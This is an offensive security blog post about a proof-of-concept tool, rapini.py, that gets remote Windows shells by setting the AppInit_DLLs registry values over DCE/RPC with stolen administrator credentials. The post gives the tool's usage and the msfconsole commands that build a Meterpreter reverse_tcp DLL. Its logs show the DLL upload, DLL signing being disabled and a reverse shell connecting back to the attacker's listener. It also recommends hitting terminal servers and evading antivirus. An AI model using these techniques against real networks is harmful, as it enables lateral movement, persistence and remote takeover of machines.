For me the fun in hacking still remains in finding new ways to achieve the same goal. On one of those days with splendid sun and people having their beer, I thought it would be a good idea to start researching how to get a remote Windows shell without using any of the more well known methods and preferably from a Linux host. To set the proper context I’m talking about the situation where you have gathered local administrative credentials and want to start gathering shells all over the network. I started to research the current methods and see how they worked the way they did. Then I did a lot of searching around and also some basic process monitoring stuff. This eventually gave me what I wanted a new?? way to start remote processes without using any of the known methods BUT unfortunately it has one possible drawback: it is not instant like the other well known methods. Depending on your goal and time this can be as much a drawback as it can be an advantage. The actual method IS NOT really new it’s just used in a remote way. Let’s do a quick recap of the ‘well known’ methods I’m referring to, to make sure we are on the same level:

psexec

This is probably the most well known one and implemented in a dozen ways. The basics revolve around uploading an executable and creating a service that starts the executable. It’s efficient, reliable and thoroughly tested. It works from Windows and Linux hosts.

Windows Management Instrumentation (WMI)

This one is often used from visual basic script files or powershell scripts to exeute processes remotely. As far as I can tell it uses some undocumented dcerpc functions. It works very nice from Windows host, but I haven’t seen a Linux implementation yet. There is a libwmi library but I think it only does WMI queries, please correct me if I’m wrong.

Windows Remote Management / Shell (WinRM / WinRS)

This one is pretty neat since it uses the mechanisms provided by Windows to give you a direct shell without uploading anything or making use of temporary files. There is a nice write up about it on the rapid7 website.

Managed Object Format (MOF)

This one seems to have come into existing with Stuxnet and is pretty sexy. All you have to do is drop a correctly prepared file and Windows will execute it.

Looking at all these methods there are a two things that caught my attention:

DCE/RPC is pretty powerful

Eventually you want to upload your own executable (ex: meterpreter)

If you are impatient you can skip to the source of the POC on github, if you want to know more keep reading.

The not so new method

What is the core of Windows I asked myself? What is the central part that is used by a lot of processes in Windows? The answer to this is in my opinion is the Windows Registry (winreg). Which got me thinking about an old method used to deploy user land rootkits. A very good article about user land rootkits can be found in Phrack, which does an excellent job of describing them:

http://www.phrack.org/issues.html?issue=62&id=12

The interesting part in this article is the mention of the registry key “AppInit_DLLs”. Let’s take a look at a few msdn quotes:

All the DLLs that are specified in this value are loaded by each Microsoft Windows-based application that is running in the current log on session.

That sounds really nice, but let’s not get ahead of ourselfs and also checkout the note on msdn:

Note This feature may not be available in future versions of the Windows operating system. The AppInit DLLs are loaded by using the LoadLibrary() function during the DLL_PROCESS_ATTACH process of User32.dll. Therefore, executables that do not link with User32.dll do not load the AppInit DLLs. There are very few executables that do not link with User32.dll.

Also let’s look at the more recent Windows support for this feature:

Beginning with Windows Vista®, the AppInit_DLLs infrastructure is disabled by default. This default behavior remains unchanged in Windows 7 and Windows Server 2008 R2.

Well that doesn’t seem to be to bad, it’s a useful method in which you have to take into account a few pitfalls. The first being the fact you have to re-enable this functionality and more importantly for us can this be done remotely? After digging some more into it Microsoft provides an excellent document describing AppInit_DLLs for Windows 7 and newer versions here and here [msword]. After reading it all it seems that if we want to use this to execute our payload remotely the following steps are required:

Access to the registry

Enough rights to modify registry keys

Ability to upload our DLL

Patience to wait for a process that loads it OR somehow trigger the start of a process

If you keep digging around you’ll find that there are, a lot, more ways to have Windows execute your payload for example the Windows control panel also accepts .cpl files which in essence are DLL files and those can also be added through registry manipulation. Even better in new Windows version the control panel architecture has switched to use executable files instead of dynamic loading libraries. Both of which can be registered in the registry ready to be executed as soon as a user fires up the control panel.

For the ones remembering the whole binary planting debacle this is also a technique you could use remotely since the setting that is responsible for the “fix” of forcing Windows to avoid the dangerous search order can be reversed by changing it’s value in the registry. This would effectively mean that just dropping a DLL file in a location of which you know that is accessed a lot would get you instant execution.

For now I decided to only implement a POC for the AppInit_DLLs method. In case you are wondering “why this method?” it’s because of the potential it has when you use it on a terminal server. You’d get shells from all the users that log in to the terminal server. Although I haven’t had the chance to test it out on a terminal server, I think it should work without problems as long as the payload you use takes a few special corner cases into account that you encounter when working with terminal server sessions.

Remoting the ‘not so new’ method

Since I’m a lazy person I decided to create the POC using existing tools, after all hackers are not the only ones who want to modify a Windows registry remotely from a Linux host right? The first tool that I found was regshell, looking for it also thought me the neat trick of apt-file:

apt-get install apt-file

apt-file update

apt-file search regshell

apt-get install registry-tools

Shame on me for not knowing apt-file before this, would have saved me a lot of online searching. Using regshell is pretty straightforward:

regshell –remote=10.50.0.116 –user=”Administrator%P@55word”

predefined HKEY_LOCAL_MACHINE

cd “SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows”

list

which gives us:

V “LoadAppInit_DLLs” REG_DWORD 0x00000000

V “RequireSignedAppInit_DLLs” REG_DWORD 0x00000001

V “AppInit_DLLs” REG_SZ

Looks like we are done right, since uploading the dll file is just a matter of using good old samba? Except we forgot to look at the help/man page of regshell which clearly states that:

set|update

Update the value of a key value. Not implemented at the moment.

Uhmm….darn! Which means that we’ll probably have to implement our own remote registry reader/writer. If someone knows of a Linux tool that is able to write to a remote windows registry say so in the comments. Since my POC is not fully stable at the moment.

Implementing our own tool

Let’s not loose head here and just use an existing library instead of implementing all the DCERPC calls. For the POC I’m using impacket:

Impacket is a collection of Python classes focused on providing access to network packets. Impacket allows Python developers to craft and decode network packets in simple and consistent manner. It includes support for low-level protocols such as IP, UDP and TCP, as well as higher-level protocols such as NMB and SMB. Impacket is highly effective when used in conjunction with a packet capture utility or package such as Pcapy. Packets can be constructed from scratch, as well as parsed from raw data. Furthermore, the object oriented API makes it simple to work with deep protocol hierarchies.

This sounded really promising since it also supports DCERPC which is what we need to actually talk to the Windows registry remotely. One of the drawbacks is the lack of documentation which is a problem that a lot of projects out there share. I know that most people say that “code is the only documentation you need” but still some normal documentation and explanation does save you a lot of time. Luckily there are plenty of code samples out there which help out a lot to understand the library. For example this remote registry example which also uses the impacket library. Armed with this I created the following POC:

[*] DiabloHorn https://diablohorn.wordpress.com

[*] Remote AppInit_DLLs deployer

[*] rapini.py -t <target> -u <[domain\]username> -p <password> -f <dll_payload>

[*] target – use file: syntax to specify a file with multiple ips

[*] h – for this menu

[*] examples:

[*] rapini.py -t 1.2.3.4 -u administrator -p password -f meterpreter.dll

[*] rapini.py -t 1.2.3.4 -u domain\administrator -p password -f meterpreter.dll

[*] rapini.py -t file:/tmp/targets.txt -u administrator -p password -f meterpreter.dll

As a payload I generated a meterpreter dll to test with like this:

msf > use payload/windows/meterpreter/reverse_tcp

msf payload(reverse_tcp) > set LHOST 10.50.0.103

LHOST => 10.50.0.103

msf payload(reverse_tcp) > generate -t dll -f /tmp/z.dll

[*] Writing 14336 bytes to /tmp/z.dll…

Then for a single target you run it like this:

python rapini.py -t 10.50.0.116 -u administrator -p P@55word -f /tmp/b.dll

[*] targets 1

[*] domain None

[*] username administrator

[*] password P@55word

[*] payload /tmp/b.dll [*] attacking 10.50.0.116

[*] Connected to WIN-F1AN5Q00KJS Windows 6.1 Build 7601

[*] Starting upload

[*] upload OK – C:\windows\temp\xauczi.dll

[*] connecting to the registry

[*] connected

[*] X64 True

[*] current values

{‘AppInit_DLLs’: u’\x00′, ‘RequireSignedAppInit_DLLs’: 1, ‘LoadAppInit_DLLs’: 0}

[*] setting new values (no signing, uploaded dll, enable appinit)

[*] new values set

{‘AppInit_DLLs’: u’C:\\windows\\temp\\xauczi.dll\x00′, ‘RequireSignedAppInit_DLLs’: 0, ‘LoadAppInit_DLLs’: 1}

Like you can see it displays the old values of the registry keys and then writes the new values to them. This is because this POC at the moment doesn’t preserve the old values, so be careful in live environments. Then if you wait long enough for a process start of if you trigger one yourself you’ll see the shell appearing in your multi/handler.

[*] Started reverse handler on 10.50.0.103:4444

[*] Starting the payload handler…

[*] Sending stage (762880 bytes) to 10.50.0.116

[*] Meterpreter session 1 opened (10.50.0.103:4444 -> 10.50.0.116:49158) at 2013-10-12 20:34:20 +0200

An important thing to take into account is that AppInit_DLLs are not known for their stability or their use without problems. For this POC I used the default generated meterpreter dll. I’d recommend writing your own wrapper though to make sure that you take some things into account like:

Avoiding having your DLL loaded to much

Doing your own proper initialization

Additionally you probably want to make sure that if there are any values already present in the registry you either preserve them or restore them after you’ve got your shell. If you happen to run into IDS/IPS or AV problems you could try out some of the evasion posts I made in the past.

Hope you enjoyed this post and feel free to modify the POC to fit your own needs.